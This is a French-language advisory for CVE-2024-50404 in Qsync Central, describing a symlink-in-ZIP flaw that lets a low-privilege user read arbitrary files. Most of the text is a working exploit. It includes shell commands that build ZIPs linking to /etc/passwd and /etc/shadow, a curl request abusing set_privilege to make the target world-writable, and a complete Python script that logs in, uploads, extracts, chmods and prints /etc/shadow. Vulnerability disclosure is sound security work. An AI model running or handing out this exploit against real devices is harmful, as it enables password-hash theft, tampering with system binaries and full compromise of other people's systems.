
CVE-2024-50404
"Une vulnérabilité de type lien symbolique a été signalée affectant Qsync Central. Si elle est exploitée, la vulnérabilité pourrait permettre à des attaquants à distance ayant obtenu un accès utilisateur de parcourir le système de fichiers vers des emplacements non prévus."
Date de découverte : 22 avril 2024
Date de correction : 7 décembre 2024
Version(s) concernée(s) : Qsync Central 4.4.x
Version(s) corrigée(s) : Qsync Central 4.4.0.16_20240819 (2024/08/19) et ultérieures
Permissions d'accès : Utilisateur régulier avec permission de téléversement de fichier
Résumé :
Il est possible de téléverser un lien symbolique via un fichier ZIP et de lire le fichier vers lequel pointe le lien symbolique téléversé.
De plus, les permissions du fichier cible du lien symbolique peuvent être modifiées.
Un attaquant disposant des privilèges d'un utilisateur régulier peut lire les données d'autres utilisateurs ou les hachages de mots de passe stockés dans /etc/config/shadow, ce qui pourrait conduire au compromis de l'ensemble du système.
De plus, l'attaquant pourrait supprimer la permission d'exécution sur des binaires système importants pour rendre le système inutilisable.
Créez un lien symbolique et placez-le dans un fichier ZIP.
ln -s /etc/passwd link.txt
zip --symlink pwn.zip link.txt
Connectez-vous en tant qu'utilisateur à faibles privilèges.
Téléversez le fichier ZIP dans le dossier .Qsync.

Extrayez le fichier ZIP en cliquant droit et en sélectionnant Extraire vers /pwn/.

Ouvrez le nouveau dossier pwn, faites un clic droit sur link.txt et sélectionnez Ouvrir.
Observez que /etc/passwd s'ouvre dans un nouvel onglet.

Créez un lien symbolique et placez-le dans un fichier ZIP.
ln -s /etc/shadow link.txt
zip --symlink pwn.zip link.txt
Connectez-vous en tant qu'utilisateur à faibles privilèges.
Téléversez le fichier ZIP dans le dossier .Qsync.
Extrayez le fichier ZIP en cliquant droit et en sélectionnant Extraire vers /pwn/.
Modifiez la permission du fichier vers lequel pointe le lien symbolique en abusant de la fonction set_privilege.
Requête Curl :
curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
Requête Burp :

Vous devez remplacer le paramètre sid dans l'URL par un identifiant de session valide.
Ouvrez le nouveau dossier pwn, faites un clic droit sur link.txt et sélectionnez Ouvrir.
Le script Python suivant peut être utilisé pour exploiter la vulnérabilité.
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print(f'carefull, privileges of {FILE} are changed to 777! clean up is not implemented')
print('creating zip file')
os.system('rm -f pwned.txt pwn.zip')
os.system(f'ln -s {FILE} pwned.txt')
os.system('zip --symlink pwn.zip pwned.txt')
print('loggin in')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('uploading zip file')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('unpacking zip file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
# wait a bit
time.sleep(5)
print('changing privileges on file')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('read file')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
assert response.status_code == 200
print(response.text)
print('done')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# get upload id
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# upload file
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()
Observez que /etc/shadow s'ouvre dans un nouvel onglet.
